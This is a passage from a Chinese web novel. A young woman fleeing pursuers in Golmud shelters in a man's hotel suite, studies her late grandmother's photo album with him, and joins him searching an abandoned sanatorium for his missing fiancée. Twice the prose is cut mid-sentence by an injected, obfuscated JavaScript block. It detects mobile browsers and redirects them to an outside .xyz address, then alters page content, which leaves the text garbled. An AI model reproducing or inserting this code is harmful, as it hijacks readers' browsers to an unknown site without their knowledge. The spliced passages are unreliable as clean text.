季风禾带着她绕过室内喷泉,经过酒店前台,又穿过一条走廊,到达最尽头的电梯厅。电梯门开合的功夫,身后大堂传来吵闹的声音,像是保安拦住了要往里冲的人。电梯门缓缓打开,莫醉头也不回走入电梯,等到反光的电梯门上映出她的身影时,终于松了一口气。 季风禾刷了卡,自动跳转了层数。他侧眸看着身边大口呼吸的人,皱眉道:“在高原跑成这样,你不要命了?” 莫醉紧紧抓住季风禾的手,用力平息气息,半晌才咬牙道:“茫崖海拔也不低,我住了这么多年,不也没关系吗?” 可你到底不是茫崖人。季风禾将这句话咽下,换成另外一个问题:“所以发生了什么?” 莫醉抽出与他交握在一起的手,顺嘴编了个谎话搪塞:“格尔木要办马拉松,我在为比赛做准备。” 季风禾几乎要被气笑:“莫小姐,我帮了你,连句真话都换不到吗?” 14.相册 莫醉心生愧意,自我反省,发觉自己确实有点狼心狗肺不是东西。她抓抓头发,正琢磨着如何找回良心,电梯停住,季风禾住的楼层到达。 “去房间给你解释。”莫醉面上极为诚恳,像是深刻意识到错误,心中想的却是无论如何先混进季风禾的房间,至少是个相对安全的地方。 季风禾装作看不懂她的那点小心思:“行。” 一个字,言简意赅,听着冷淡,落在莫醉耳中,莫名带着几分高高在上的……傲娇。 季风禾的房间在酒店顶层,房号8888,莫醉跟在他的身后进屋,入目是比盛唐旅馆大堂还要大的会客厅,后知后觉意识到,这是酒店的总统套房。莫醉人生第一次进总统套房,眼睛四处乱瞅,发自内心感叹:“有钱可真好。” 季风禾没搭理她,取了瓶简易氧气和葡萄糖,回身时莫醉还站在门前,一直没动。 “过来。”季风禾说。 刚刚肾上腺素飙升强行屏蔽身体的不适,此刻进入安全区,缓过劲儿来,莫醉头昏脑胀双腿发麻,眼前光影晃动,像是吃了毒蘑菇。她咧了咧嘴,半步不动:“咱俩又不熟,这多不好意思,我站这儿就行了。” 莫醉肤色本就苍白,此刻更是不见丝毫血色,嘴唇又青又紫,额角碎发濡湿,偏一张嘴硬得像鸭子。季风禾挑眉:“走不动了?” “那哪儿能啊!”莫醉咬紧牙关,向着前方模糊的人影走,到跟前时故作轻松,“叫我干嘛?” 季风禾将氧气瓶拼装好,扣在她的口鼻上按了几下。莫醉不自觉跟着他的节奏深吸几口气,视线终于清晰。她接过氧气瓶,又按了几下,嘀嘀咕咕:“没想到我也有需要这玩意儿的一天。平常都是我掏出来给客人的。” 季风禾没搭理她,把掰开的葡萄糖塞到她手里,看着她喝下去后唇色逐渐恢复,不需要拨打120了,才放下心来。他把外套脱下,搭在一旁的椅子上,绕过她到不远处的沙发上坐下,姿态闲适:“说吧。” 莫醉又吸了几口氧,终于能重新控制身体,心思也活络起来。她将手中的东西随手搁在一旁的柜子上,磨磨蹭蹭走到季风禾面前茶几对面,眼睛滴溜溜一转,一言不发开始拉冲锋衣的拉链。她以为季风禾会挪开目光避让,但他偏偏眼睛一眨不眨,盯着她的每一个动作,像是真的想看她脱衣服。 这人这么盯着看,她怎么藏相册!要是不转移相册,腰前竖着块铁板似的东西,根本坐不下,难道要一直站着吗! 莫醉先败下阵来,放弃抵抗,拽出藏在衣服里的相册,扔到桌面上。 黑色大理石桌面平整又光滑,粉色的相册在桌面上滑动几十厘米,正好停在季风禾面前。季风禾没动:“他们追你就是为了这个?” 莫醉整理好衣裳,大剌剌坐到地毯上:“说实话,我不知道他们为什么追我,但应该不是因为这本相册。”她怕他又觉得敷衍,微微前倾身体,努力让表情看起来更真诚,“我小时候在格尔木住过几年,刚刚去的地方就是以前的住处。那房子都被翻烂了,这相册就在角落放着,估计是他们看不上的,我顺手拿回来怀旧。结果我刚离开屋子,一群人呼啦啦地冲着我来,要是你你不跑吗?我顺手抢了他们的摩托,本来想着开回我停车的地方,但雪天路太滑了,他们追得又紧。我怕没被他们追上倒先摔死,只能弃车往人多的地儿跑,然后就遇到你了。” 莫醉手舞足蹈,试图将情况的危机多表达出几分。季风禾安静听着,精准抓住话中的漏洞:“你以前经常被人追?” 莫醉眨眨眼:“……偶尔?” “偶尔被人追,但是不知道为什么被人追。”季风禾哂笑,“莫小姐,你不适合编故事。” 莫醉嘴角抽搐:“爱信不信。” 季风禾未接话,莫醉也懒得多解释。屋内安静下来,只有酒店上了年纪的中央空调,发出白噪音似的细微轰鸣。 室内气温二十六度,是最舒适也是最容易让人卸下防备、生出困意的温度。莫醉歪着头看窗外,视线落在远处的雪山上,神情再不似刚刚般紧绷,面部肌肉同身体肌肉一般慢慢松弛下来。季风禾的目光在她的身上停了一会儿,片刻后不着痕迹滑开,在桌上泛黄的粉红色相册上顿住。 他坐直身体,伸出手去碰相册,指尖似能触到外壳上残存的体温。他滞了一瞬,若无其事翻开相册。 莫醉听到这声音,回过神来,窸窸窣窣起身,凑到季风禾身旁,跟着看这本相册。 在老房子里时光线昏暗,时间又匆忙,莫醉草草翻过,没太大的感受,此刻看着照片中曾经无比鲜活的人,思念、伤怀、茫然混杂在一起,眼睫微微颤动着,遮掩着心中的情绪。 季风禾一张一张看得缓慢,指着其中一张合影问:“这是你和你的父母?” 照片上的小女孩正在过一岁生日,眨着两个小啾啾,眼睛又大又圆,几乎只能看到黑色的瞳仁。她看着镜头笑得开怀,面前放着生日蛋糕,蛋糕上唯一的一根蜡烛正在燃烧。她的身后站着两个人,是一对二十多岁的年轻男女,穿着打扮都是那个年代最时髦的样式,眼中全是温柔和宠溺,显然是孩子的父母。 莫醉轻轻“嗯”了一声,又指着一旁另一张照片:“这是我的祖母。三岁前,我和祖母住在格尔木的老院子里,我爸妈在外地打工,逢年过节,还有我的生日才会赶回来。” “你哥莫仲磊呢?怎么没看到他的照片?”季风禾试探地问。 “我哥小时候不喜欢拍照。”莫醉毫不犹豫撒谎。 “你爸妈他们现在在什么地方?” 莫醉顿了一瞬,再开口时声音淡了几分:“死了。他们死了好多年了。我奶奶也死了,三四年前的事儿。” “抱歉。”季风禾不再多问,将相册向莫醉的方向推了几分。 “没关系。时间过去太久了,我早就没关系了。我都快记不清他们的模样了。”莫醉垂下眼睛,看着照片中曾经有温度的亲人,停了几秒,开始往后翻。她翻动的速度比季风禾要快上许多,只草草看过照片中的人和物,并不想回忆照片背后的故事,直到翻到祖母年轻时的照片,速度才逐渐放慢。 相册排插照片的方式是倒叙,祖母随照片的翻动逐渐变得年轻模糊。前面几页的照片仍旧是彩色的,贯穿祖母的三十多岁到五十多岁。那时候她还没出生,照片的主角只有祖母和父亲,以及去世多年,莫醉从未真实见过的祖父。 最开始的照片大都是在老院子中拍摄的,又或者是过去的格尔木城中。父亲二十岁左右的年纪,与祖母并排站着,笑得开怀。后面几张祖父开始出现在镜头中,时间是1980年左右,照片背景大多是照相馆,或是自家的老院子。那时父亲还是个十几岁的少年,祖母和祖父亦正当壮年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455425|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再往后的照片没了色彩,成了泛黄的黑白照片。照片记录了父亲从出生到八九岁的年纪。那时照片珍贵,每年只拍几张,大都是在照相馆中拍摄,从背景中看不出什么。 直到整个相册的最后一张。 那是张六个人的合影,照片中的人三男三女,都是二十多岁的年纪,穿着差不多的衣裳。祖母站在这群人的最中间,头发是齐耳短发。她的左侧是个年轻男人,年轻男人的左侧是个年轻女人。女人的肢体向身边男人倾斜着,俩人应当是夫妻或是情侣的关系。祖母的右侧是个年轻女人,与祖母手挽着手,姿态亲密,应该是祖母的闺蜜。祖母闺蜜的右侧应当是她的爱人,双手搭在她的肩头,毫不避讳镜头。站在六人中最右侧的是年轻时的祖父。 这六个人瞧着像三对情侣或是夫妻。 照片的背景是一条热闹的街道,看不出是什么地方,但莫醉下意识觉得,这里不是格尔木。 她将照片从发脆的塑料薄纸后取出,翻到背面时看到一行模糊的字迹。 “1967年,摄于新居。” 1967年,祖母22岁。 祖母出生时,国内并未建立完善的户籍制度。后来制度建立,祖母为自己填写的出生年份是1945年。莫醉看过祖母的档案,她的第一条记录出现在1965年,但那条记录并未留下太多信息,仿佛只是记录了这个国家有这么一个人。她的第一条带着住址的记录出现在1970年,那时她已迁入格尔木,档案中留下的地址正是她儿时住过的老院子。 祖母的前半生没留下任何文字信息,亦未对晚辈们提起太多。莫醉不知道祖母是在哪里出生的,又是在哪里长大的,更不知道这1967年的新居,究竟是在哪里。 莫醉有预感,这张照片背后定藏着一个巨大的秘密。可她对祖母的过去所知甚少,如今秘密的大门就在她的眼前,她却连锁在哪里都找不到。 季风禾从莫醉的手中抽出照片,看了几秒后道:“冷湖石油小镇。” 莫醉愣住,嘴比脑子先动:“你怎么知道?” 季风禾的手指点了点照片边角:“这里。” 莫醉凑近几分,脸几乎要贴到照片上,才看到季风禾所说的东西。 那应该是个走街串巷的货郎误入照相机拍摄的范围,匆匆离开时,还是被照相机拍到自行车的半个轮子,以及后座上拴着的货箱。货箱上有几个字,落在老旧黑白照片中比芝麻还要小,“冷湖油矿”。 莫醉猛然转头,眼角眉梢都是喜气:“老板,你不会就是葫芦娃中的二娃,有千里眼的那个——” 她的话只说了半截,眉眼间喜悦还未散尽,便随身体一起冻结在原地。 不知何时,二人竟靠得这么近。季风禾的脸就在她的眼前,只隔着几厘米的距离,她能清晰看到他的每一根眉毛,每一根睫毛……以及他耳垂上的那颗小痣。她盯着那颗小痣看了半晌,心脏像是被土豆的皮毛蹭过,又麻又痒。 季风禾侧头,盯着莫醉的眼看了一会儿,喉结上下滚动,微微向后仰了些,自然而然拉开二人间过于越界的距离。 他的动作惊醒了莫醉,她赶忙将屁股挪远几分,恨不能坐到沙发的最尽头。再抬眼时,触到季风禾写满“你至于吗”的目光,尴尬地清了清嗓子,随意抓了个打破尴尬的问题:“老板,你怎么突然来格尔木了啊?” 15.疗养院 从见到季风禾开始,莫醉就好奇他为什么会出现在这里。 算算时间,他半个月前才进出过罗布泊,现在又来格尔木,难道是要去隔壁的可可西里?大西北风景虽好,无人区虽然神秘,也用不着这么赶行程吧? 况且,他的未婚妻半个月前受了重伤,他不留在未婚妻身边照顾,挽回芳心,来大西北瞎折腾什么? 季风禾垂着眼睛,慢条斯理将照片塞回相册中,动作优雅细致,并未立刻回答莫醉的问题。莫醉明明在等他的答案,目光却不自觉被他的动作吸引,盯着捏照片的手指,和手背上凸起的青筋,半晌挪不开目光。 相册合上的轻响吓了莫醉一跳,终结了这份出神。再抬眼,正好对上季风禾似笑非笑的眼。 莫醉毫无被抓包的尴尬,嘟嘟囔囔:“不想说就算了。” “陪蔡思韵来的。”季风禾的回答同时响起。 莫醉用了三秒才想起蔡思韵是谁,惊讶地问:“她怎么来了格尔木?她不是应该在医院吗?她现在在哪?” “她的伤不严重,只住了几天院。前几天她坚持要来格尔木见网友,她的家里不放心,托我同行照顾。一个小时前她出发去约定的地方。” “来格尔木见网友?”莫醉不敢置信重复一遍,见季风禾不反驳,更加纳闷,“你还让她一个人去?你不怕对方是骗子,她遇到什么危险吗?” “边洛阳和她一起去的,就算是骗子,应该也不会有什么危险。”季风禾语气平静。 蔡思韵和男朋友一起来格尔木见网友,家里不放心,让她的未婚夫季风禾跟着,季风禾还真的乖乖来了,并且放心地让这二人一起出行。 这剧情若出现在电视剧里,她都要嘲讽几句狗血离谱,没想到竟然能出现在现实生活中。 莫醉八卦之魂死灰复燃,忍不住凑近几分鬼鬼祟祟:“老板,采访一下啊,你是不是特别享受这种复杂的三角关系?这种关系是不是更能激发你心底深处的欲望,让你沉溺其中欲罢不能?你作为正宫,站在道德的至高点上,看着蔡思韵和边洛阳亲亲我我,心中难过,但又控制不住自己,只能自虐式地跟随,等着蔡思韵不知何时的回头,而你恰好就在她的身后——”她摸摸下巴,眯起眼睛,“这剧情很阴湿很虐恋啊!老板,你好这口啊?” 季风禾像是在听别人的故事,事不关己冷静点评:“想象力很丰富。” 莫醉心中一动,忍不住细细看他。 他的表情太过平静,深褐色的瞳仁似笼着薄雾,莫醉猜不出他的想法,也瞧不见半点掩饰和伪装。 难道他和蔡思韵是表面夫妻?私下里各玩各的?听说有钱人似乎经常搞这些乌七八糟的,他难道也是这种人? 季风禾坦然接受莫醉的打量,懒得纠正她脑中那些匪夷所思的想法,心中想的是另外的事。 俩人各怀鬼胎,许久没说话,直到季风禾搁在桌上的手机屏幕亮起,手机震动敲打着大理石桌面,细碎声响被放大,诡异的安静才被终结。 莫醉伸着脖子瞥了一眼,是蔡思韵打来的。 季风禾接起电话,几秒后眉头皱起,再几秒后将扬声器打开。 装作毫不在意、没有偷听的莫醉立刻挪到季风禾身边,凑近手机扬声器。 细弱的呼吸声,杂乱的脚步声,夹杂着若有似无的呜咽。信号断断续续,声音不连贯,无法判断发生了什么。季风禾沉声问:“你在哪?发生了什么?” 电话那边无人应答,呼吸愈发急促。突然,通话被挂断,自始至终,对面未说一个字。 莫醉收敛起眉眼间的玩笑:“她有没有和你提过今天约定的地点?或者留下网友的联系方式?” “只提过一句格尔木疗养院。” 莫醉若有所思:“不会是某书的粉丝约会吧?”见季风禾似乎对此一无所知,莫醉简单解释,“就是有本很著名的小说,里面有一个重要场景是格尔木疗养院,所以每年都会有许多小说粉丝来打卡。那个疗养院废弃多年,这些年已经彻底封闭,用水泥封住大门,但还是有人走小道,或者翻墙,千方百计进去打卡。”她顿了顿,再次解释,“老板,粉丝的意思你知道吧?就是英文fans的中文音译。打卡你知道吗?打卡就是——” “莫醉。”季风禾沉着声音喊她的名字,“我上网的。” 莫醉一副“我都懂”的模样,季风禾眯了眯眼,倒也懒得解释。 握在手里的手机再次震动,这次是一条短信,只有三个字母,“sos”。 “报警吧。”莫醉看清内容后建议,“格尔木疗养院面积不小,想要快速找到这群人太难了。而且我觉得他们应该不在疗养院里,那个地方虽然荒废了,但好歹在格尔木城中,信号不至于这么差。刚刚电话里声音断断续续的,像是在一个完全封闭的地方,比如地下停车场,或者电梯之类的。寻求警察叔叔帮助,是最快的、最安全的方式。” 季风禾与莫醉意见相同。他给蔡思韵回了条短信,两分钟后没等到回信,立刻打电话报警。将来龙去脉同电话对面的警察讲清楚后,他决定亲自去一趟传说中的格尔木疗养院。 挂断电话,他看向坐在沙发上的莫醉:“你是留在这休息,还是一起去?” 莫醉没有任何犹豫,站起身,意思明了:“走吧,当作报答你今日‘救命’之恩。” - 季风禾开车离开酒店地下停车场时,莫醉缩着身子躲在后座下不敢冒头,直到开出几百米后,才试探着起身,跪在后座上,用靠枕遮掩着,鬼鬼祟祟向后方看。 酒店出入口附近果然有人东张西望地蹲着,隔得太远看不清五官,看穿着确实像刚刚追她的人。 季风禾瞥了一眼后视镜,语气笃定:“大雪天还在蹲你,他们想要的东西怕是不简单。” 莫醉叹了口气,心情和阴沉的天气一样糟糕:“就怕他们想要的不是一件东西。” 后视镜上照出莫醉不加防备的无奈眼神,季风禾盯着看了几秒,若无其事挪开目光,不再多问。 疗养院在格尔木东边,距离季风禾暂住的酒店四五公里的距离。雪天路滑,季风禾求稳不求快,二十多分钟后到达,停在疗养院附近的路边。俩人下车时,被水泥封死的疗养院门口站了不少警察,季风禾先靠近询问,莫醉站在车旁将周围环境尽收眼底后,才慢吞吞挪到季风禾身后,正好听到警察描述现在的情况。 “……你提供的手机号经过定位,信号最后出现的地点确实是疗养院。我们在雪地中发现四组进入疗养院废弃大楼的脚印,但并没在楼中找到他们。这四个人应该是已经离开。目前我们正在附近走访,调取监控,寻找这群人的踪迹。” 警察将情况说完后,转身离开。莫醉悄悄看季风禾,见他脸上依旧没有太多焦急的神色,更加确定季风禾和蔡思韵属于“有钱的未婚夫妻各玩各的”。 “你要怎么办?”莫醉问季风禾。 季风禾反问:“你有什么想法?” 你找你的婚姻搭子,我能有什么想法?莫醉按下心中的嘀咕,指指一旁的水泥墙:“我的想法是,进去。”她向着季风禾的方向倾斜身体,压低声音,“我总觉得这个疗养院里有蹊跷。” 季风禾点头,去和警察交涉,警察虽有疑惑,还是应允了他们的要求。 疗养院的正门被水泥封着,隐蔽处的侧门却还能通过。莫醉和季风禾跟在带路警察身后,穿过布满锈迹的棕褐色铁片门,大摇大摆走进废弃多年的格尔木疗养院。 疗养院建立于几十年前,建筑风格古旧。院子被积雪覆盖,雪上密密麻麻全是脚印。院子两侧依墙而立两排平房,屋顶残缺门窗皆无,房间内堆满垃圾。院子尽头处是呈工字形结构的主楼,前方是二层的门诊楼,后方是三层的住院楼,两楼间以回廊链接。门诊楼大门顶部的红十字标识早已褪色,不复曾经的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465336|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜艳;门框和门前圆柱上贴着朱红色小块瓷砖,亦残缺泛黄。 莫醉问带路的警察:“这医院有地下停车场吗?” “这医院建在上个世纪五六十年代,那时候整个格尔木都没几辆汽车,怎么可能会特别建停车场?更别提地下停车场了。” 几人走到门诊楼大门外的时候,带路警察手机响起。他的视线紧盯手机屏幕,随口叮嘱二人:“我就不陪你们进去了,你们转一圈就出来,别磨蹭。” 说完,他走向角落去接电话,竟真的将废弃的大楼留给二人。 废弃疗养院大楼里落针可闻,四处堆积着经年的垃圾。门口处粉底白点的地砖被雪水打湿,与灰尘泥土混杂在一起,又脏又滑。开药挂号的柜台倒塌大半,柜台里侧的木头橱柜橱门大敞着,残留着药品模样的垃圾。大厅里布满湿漉漉的脏脚印,向四面八方延伸,有的往东有的往西,有的穿过后门往后面的住院楼去,一时无法分辨哪些是警察留下的,哪些是蔡思韵一行人留下的。 莫醉走到大厅尽头的走廊,站在中心处向左右两侧看去。无窗无灯的走廊昏暗阴森,只尽头处的大门透出微弱亮光。莫醉借着这点光亮,看到左侧走廊尽头的木门顶上镶嵌着一盏灰扑扑的红灯,像是老旧手术室的模样;右侧走廊尽头亮光更盛,似乎是楼梯间。 她毫不犹豫向右侧走。 楼梯间深绿色扶手油漆斑驳,可见锈裂的缺口,莫醉踩过堆积的垃圾,里里外外看了一圈,没瞧见她想找的东西后,头也不回转身离开。 季风禾一直站在门口,见她要离开,指了指上行的楼梯:“不上去看看?” “没必要。楼梯上有脚印,警察们肯定都去过了。而且,我还是觉得他们应该呆在地下室之类的地方。这么大个医院,总应该有个地下室,有可能存放资料,有可能安置尸体。我们去那里找找,或许能有发现。” 季风禾不置可否,跟在她的身后,直到二人走入连通前后楼的走廊时,突然开口问:“你感觉他们还在疗养院里吗?” 莫醉脚步一顿,警惕不少:“那我哪儿知道?蔡思韵是你的未婚妻,你不是应该更心有灵犀吗?” 季风禾轻笑一声,不再说话。 莫醉抿紧嘴唇,猜测着季风禾这句话究竟是有意还是无意,脑海中闪过刚刚在疗养院门外时的情景。 她确实能感知到一定范围内的活人,但这能力在城市里着实派不上什么用处。城市里的活人太多了,站在城市中任意一个地方,方圆十公里内都至少几千个活人,遍布在四面八方。就比如在疗养院门口时,她知道这几千个人都活着,可他们之间的间隔太近,信息太杂,让她无法具体分辨每个人距离她有多远,以及更细微的方向。 走廊大概二三十米长,穿过后便是住院部。住院部一层的大厅两侧是墙,比门诊楼一层大厅更小巧、昏暗。地上脚印依旧杂乱,莫醉打开手机自带的手电,在扩散的光束下打量四周。 这里的一层也有走廊,与门诊部不同的是,走廊两侧尽头连接的都是楼梯间。莫醉先去了左侧的楼梯间,没有任何发现后,而后径直往右侧楼梯间走,终于发现了她一直想找的通往地下室的楼梯。 莫醉一秒都没犹豫,和季风禾一前一后向下走了半层,被一扇铁门拦住去路。铁门上悬挂着铁锁,乍一看是合拢状态,再一看锁确实锁着,可拴锁的门插早就锈成两截,无需开锁,就能开门。 莫醉利落将门拉开。 铁门震动的声响在楼梯间里反复回荡,尖锐又阴森。多年未上油的门轴倒是意外的润滑,没发出半点声响。莫醉将手电光对准脚下楼梯,见楼梯上的脚印明显比外面稀松,叹道:“我猜警察没有打开这扇门。” 季风禾绕到莫醉前方,蹲下身子看了一会儿,指着几个浅淡残缺的脚印道:“我更好奇这些脚印是谁的。看大小是同一个人的,来来回回走了不止一趟。他这是要做什么?”